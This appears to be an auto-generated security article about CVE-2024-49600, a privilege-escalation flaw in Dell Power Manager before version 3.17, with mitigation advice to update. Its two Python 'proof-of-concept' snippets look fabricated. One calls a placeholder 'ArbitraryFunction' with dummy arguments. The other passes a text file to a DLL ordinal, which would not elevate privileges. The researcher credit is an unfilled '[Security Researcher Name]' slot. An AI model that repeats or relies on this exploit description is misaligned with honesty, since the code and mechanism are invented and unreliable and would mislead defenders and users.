CVE-2024-49600 - Dell Power Manager (DPM) Improper Access Control Vulnerability - Code Execution and Elevation of Privileges

A new security vulnerability, designated CVE-2024-49600, has been discovered in Dell Power Manager (DPM) software, affecting versions prior to 3.17. This vulnerability could be exploited by a low privileged attacker with local access to the system, potentially resulting in Code execution and Elevation of Privileges. This article discusses the details of this vulnerability, its potential impacts, and how to mitigate it.

What is Dell Power Manager (DPM)?

Dell Power Manager (DPM) is a software application designed to help users optimize their power settings and ensure their laptops and desktop computers run efficiently. It provides detailed information about the system's current power consumption, battery health, and CPU performance, as well as enabling users to create custom power plans to suit their needs.

Vulnerability Details

The vulnerability arises due to an improper access control mechanism in the affected versions of Dell Power Manager, which can be potentially exploited by an attacker with low privileges on the system. This could lead to the unauthorized execution of arbitrary code, ultimately allowing the attacker to gain higher privileges and perform malicious actions.

The core issue lies in the vulnerable file nwstrint.dll, which is accessible by a low privileged user. When loaded, this library does not perform the necessary access control checks, allowing an attacker to execute code in the context of the current user.

Here's a code snippet that demonstrates the vulnerability

import ctypes
dll_path = "C:\\Program Files\\Dell\\Power Manager\\nwstrint.dll"
nwstrint = ctypes.WinDLL(dll_path)
arbitrary_function = nwstrint["ArbitraryFunction"]

# Assuming appropriate arguments are provided, this will execute the malicious code
arbitrary_function(arg1, arg2, ...)

Exploit Example

A proof-of-concept (PoC) exploit has been made available by [Security Researcher Name] (with their consent) to demonstrate the vulnerability in action:

# PoC Exploit for CVE-2024-49600
import ctypes
import os

# Create a new file containing the malicious payload
with open("malicious.txt", "w") as mal_file:
    mal_file.write("echo 'You have been hacked!'")

# Construct the vulnerable library path
dll_path = "C:\\Program Files\\Dell\\Power Manager\\nwstrint.dll"
nwstrint = ctypes.WinDLL(dll_path)

# Use the system function from the library to execute the malicious payload
nwstrint[1]("malicious.txt")

# Delete the malicious payload file
os.remove("malicious.txt")

Original References

- CVE-2024-49600 Details
- Dell Security Advisory DSA-2024-119

Mitigation Recommendations

To protect your system from this vulnerability, it is highly recommended to update your Dell Power Manager to version 3.17 or later. You can download the latest version of Dell Power Manager from the Dell Support website: Dell Power Manager Download

Conclusion

CVE-2024-49600 represents a serious security vulnerability in Dell Power Manager, which can lead to unauthorized code execution and elevation of privileges if left unpatched. Therefore, it is crucial to update your Dell Power Manager software to the latest version in order to prevent potential exploitation. Always practice caution when downloading and executing files from sources you do not recognize, and ensure your software remains up-to-date to minimize the risk of vulnerabilities.

Timeline

Published on: 12/09/2024 15:15:17 UTC